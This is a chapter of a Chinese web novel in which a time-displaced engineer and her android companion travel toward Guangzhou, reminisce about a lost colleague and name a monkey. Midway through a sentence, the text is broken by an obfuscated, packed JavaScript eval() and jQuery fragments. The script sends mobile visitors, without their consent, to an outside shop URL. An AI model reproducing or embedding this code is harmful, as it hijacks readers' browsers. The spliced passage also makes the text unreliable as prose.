消息是医馆的坐堂郎中带到的。那天下午陈折正在医馆后堂整理药箱，坐堂郎中从前面诊室掀帘进来，手里捏着一张对折的纸笺，放在桌面上，推过来。陈折看了一眼纸笺上的字，是用工整的楷书写的，收信人是“雷州医馆代转”，落款是广州城某户人家的名字。信中措辞客气，大意是家中有女眷久病不愈，辗转求医无效，听闻雷州有异乡医者能治疑难之症，想请陈折前往广州诊治。
坐堂郎中在旁边坐下来：“这户人家在广州有点名望，病的是他们家老太太。之前找过几个城里最有名的郎中，都没看出名堂来。说是妇科方面的症候，我们这边没这个本事。”他顿了一下，“你接不接？”
陈折没有立刻回答，重新读了一遍那封信。妇科疾病。公元994年，没有超声，没有激素检测，没有腹腔镜，女性的身体对郎中来说是一块被布盖住的区域，只能通过脉象和问诊来猜测它内部正在发生什么。她知道凭她手里的设备，也许能看得比这个时代的任何一个郎中都清楚。她也知道，每一次多待一天，她就会在这个时代留下多一分的痕迹。
她从桌面上拿起那封信，折好放进口袋里：“接。”
当天晚上，陈折坐在客栈房间里，把便携屏幕放在膝盖上，开始规划路线。从雷州半岛到广州，走陆路需要经过高州、肇庆等地，沿途多山，路途并不算平坦。用改装后的牛车走完全程，如果一切顺利，大约需要半个月到二十天。如果期间遇到雨水或路况不好，时间还会更长。
她把路线图缩小到整个岭南的轮廓，沿着海岸线往东北方向划了一道弧线，标记了几个可能的落脚点。然后她关掉屏幕，在黑暗中坐了一会儿，把阿蓝的那件小衣服从物资箱底层取出来。深色的粗布短衫，袖口磨得发亮，衣襟内侧用线绣了一个“弟”字。她把衣服在膝盖上摊平，沿着那道歪斜的针脚摸了一遍，叠好，放回去。
第二天清晨，陈折下楼退房。詹姆斯已经把车厢重新整理过了，物资箱归位、太阳能板清洁、轮胎气压检查完毕。阿娜蹲在客栈门口，小猴子蹲在她肩上，尾巴垂在她背后，像一个活的搭扣。布莱克趴在猴子的侧下方，偶尔抬头看一眼，又放回去。
阿娜侧过头，用下巴碰了一下猴子搭在她肩上的前爪尖：“它还跟着我们吗？”
“先跟着。”陈折说，“詹姆斯说要观察一段时间，看看停药之后的状态。”
阿娜没有再问，站起来走向车厢。布莱克绕到车尾，跳进车厢，在阿娜身边趴下来，头搁在交叠的前爪上。城门口的人已经多起来，牛车沿着主街缓缓移动，穿过城门，驶出县城，沿着土路向北行进。路两侧的田地逐渐从水田变成旱地，种着番薯和豆类，村落之间的间隔也在变长。偶尔有挑担的行人从对面走来，在路边让开，等牛车过去，然后继续走自己的路。
第一天的路程没有遇到任何异常。陈折坐在车厢口的横板上，背靠着壁板，看着路两旁的植被从热带灌木逐渐变为更稀疏的丘陵植被。第二天的路开始变得有些颠簸，有几段路面上铺着碎石，车轮碾过时会发出低沉的震动。阿娜坐在车厢里侧，看着车后正在缩小的路面。
路两旁的树影正在变长，泥土和干燥植物的气味混合在一起，像一层薄薄的面纱覆盖在空气上。陈折坐在车厢口，没有回头看她，但詹姆斯侧过头看了一眼小猴子蹲在车尾的背影，然后又把目光移回路面上。
第三天傍晚，他们在一处路边的废弃草棚旁停下来过夜。詹姆斯用篷布在车厢侧面拉出一片遮阳的斜面，把牛拴在不远处的木桩上。陈折从物资箱里取出干粮和水，分给阿娜。阿娜没有立刻吃，她先掰了一小块干粮放在手心里，伸向小猴子。小猴子犹豫了一下，然后凑近，把那块干粮叼走了。陈折在旁边看着它的动作——敏捷，四肢有劲，反应速度快，不像是停了一周药的状态。她从物资箱里取出便携屏幕，在暗中记了一笔：“停药第七天。未见明显回落。活动量正常。”
她关掉屏幕的时候，阿娜已经靠着车厢壁睡着了。布莱克蹲在车厢另一侧，下巴搁在阿娜的脚踝上。陈折靠着车门坐了一会儿，把阿蓝的那件小衣服从物资箱底层抽出来又放回去，然后也靠着壁板闭上了眼睛。
暮色从田埂尽头漫上来。附近耕种的农民陆续收了工，三三两两沿着土路往村里走，锄头扛在肩上，影子被夕阳拉得很长。一个放牛童骑在水牛背上，从坡下慢悠悠地走上来，手里握着一支短笛，断断续续地吹着。笛声像水草，没有形状，只是在空气里浮着，被晚风牵来牵去，风大一些就散开，风小一些又聚拢。
詹姆斯坐在车厢外侧的横板上，望着那个放牛童从视线尽头经过，笛声从他身边流过，又流向更远的田野。他没有回头，用那种与平日说话的声调稍有差别的语气问了一句：“克莱尔当时说要带什么物资去答里孛？我没找到记录。”
陈折坐在车厢口，背靠着壁板。笛声断了一下，又续上。她开口时声音不高：“克莱尔带的是玫瑰。”
“……玫瑰？”
“她丈夫在他们热恋的时候，每次约会都送她一支玫瑰。她带了一小盆，养在她舱室的窗台上。有一次我路过她门口，看到她正在给那盆玫瑰浇水，一边浇一边自言自语：‘你可别死了，他要是看到你蔫了，又该说我不会养东西了。’”
詹姆斯保持沉默。
“她每次出任务都会带着。”陈折补充，“那盆玫瑰跟着她去过好几个星系。”
过了一会儿，詹姆斯说：“田村关于音乐和生物基因的说法，我一直在想。”
“想什么？”
“他说音乐和基因图谱都是序列。一个用木头的共鸣，一个用碱基的排列。”詹姆斯停顿了一下，像在整理一段他还没完全理解的数据，“如果音乐是序列，玫瑰也是序列。人类的那些难以描述的情感……也许能用序列来表达。”
陈折靠着车厢壁板，目光落在远处正在沉入地平线的太阳边缘：“玫瑰是植物，音乐是木头震出来的空气，爱情是两个人在某个时间点决定把彼此放进自己的序列里。”
詹姆斯沉默了很长时间，然后开口问了另一个问题：“人类为什么要把自己交给另一个人？”
陈折原本靠着壁板，听到这句话，她微微直起身，转过脸看了他一眼。詹姆斯坐在横板上的姿势没有变化，但他侧过头来，光学传感器对上她的视线，平稳，专注，像在等待一条他需要但不知道是否存在的指令。
陈折看着他。月光照在他脸上，照出那道混血轮廓的侧影。数据库让她知道哪些线条符合审美标准，但没有办法判断她此刻是否正在重新认识这张脸。她想起在罗塔岛上他站在机翼旁修理接头，想起他第一次说话时问她“你把我造出来是为了修什么东西”，想起再早之前工程师詹姆斯时不时的冷笑话。她从来没有想过他会问出这样的问题。但她此刻坐在一辆伪装成牛车的车厢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786798|210200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
横板上，仿生人詹姆斯坐在她旁边，正在认真地问她人类为什么要相爱。
她张了张嘴，像要说什么，然后，她笑了。不是他见过的那种嘴角微微动一下的礼貌性反应，也不是她在坡村面对老村长时那种克制而疏离的浅笑。是一种从肺腑深处涌出来的、带着气息的、毫无准备的笑。声音不大，但在暮色和田野之间显得格外清晰，像一块石头被轻轻投入了平静的水面。
她自己也愣了一瞬，像被那笑声从体内深处推了出来。然后她继续笑，用手背挡住下半张脸，指节抵住嘴唇，像在阻止那阵笑声继续往外涌，但没有完全成功。詹姆斯坐在原地，看着她。他知道人类会根据情境和关系使用不同类型的笑，但此刻他无法对陈折的笑进行分类。他只能把它储存下来，放在一个当时还没有命名的位置。这是他从被制造出来之后，第一次看到陈折真正的笑。
她的笑声渐渐低下来，但嘴角还没有完全收平：“……你问的问题，以前从来没有同事问过我。”
“没有同事问你人类为什么要相爱？”
“没有同事问我任何超出智能设备维护范围的问题。”她说，“我也从来没有主动跟人说过那么多话。”
远处放牛童的笛声正在变远，断断续续地沿着土路的方向飘散。暮色里只剩下牛偶尔甩动尾巴的声音，和远处村庄炊烟在风里被扯散的细碎痕迹。陈折收住笑，但嘴角的弧度还没有完全平复。她坐在车厢口，侧过头看着詹姆斯，像在看一件她以前没有认真看过的东西，然后说：“活着这件事，有一部分本来就不是靠数据库能理解的。”
她说完这句话，转过身，重新靠在壁板上。月光照在两个人之间的那根横杆上，像一道还没有被命名、但已经被两种不同的方式同时标记过的分界线。过了一会儿，阿娜在车厢里翻了一个身。小猴子蹲在车顶上，尾巴垂下来，扫了一下车厢边缘的木纹缝隙。
陈折没有回头，嘴角还留着一丝没有完全收平的弧度。“也许我们应该给这只小猴子起个名字了。”
詹姆斯坐在横板上，沉默了一会儿。他没有立刻回答，不是因为没有数据，而是因为他正在检索一段没有被标记为“重要”的记录。那段记录来自很久以前，在谷神星殖民地的一次任务简报间隙，克莱尔曾经随口说过一句话。当时没有人把它当作需要存档的内容，但它被录入了，像一粒被风吹进墙缝的种子。
“克莱尔有一个女儿。”詹姆斯说。
陈折的目光从月光上收回来，转向他。
“她叫Lulu。”詹姆斯说，“克莱尔在任务期间提到过她一次。一次在休息舱里，她在看一张旧照片，我路过的时候，她说：‘这是我女儿。可爱吧？’”他顿了一下，像在确认那段记忆的边界，“我当时不知道该怎么回应，所以没有回答。但我记住了那个名字。”
陈折靠着壁板，月光照在她的侧脸上，把她的表情收拢成一道模糊的轮廓：“……那就叫露露。”
詹姆斯坐在横板上，把那段对话压缩成一行数据，存入一个他没有命名的位置，在这行数据旁边，他加了一个备注。这是他第一次在存储数据时主动添加的描述性标签：“克莱尔的女儿”、“陈折起的”、“某种尚未被命名的关系的起点”。
车顶的小猴子尾巴垂下来，又扫了一下车厢边缘。
笛声已经完全消失了，但在它消失之后的安静里，空气中依然残留着它的轮廓。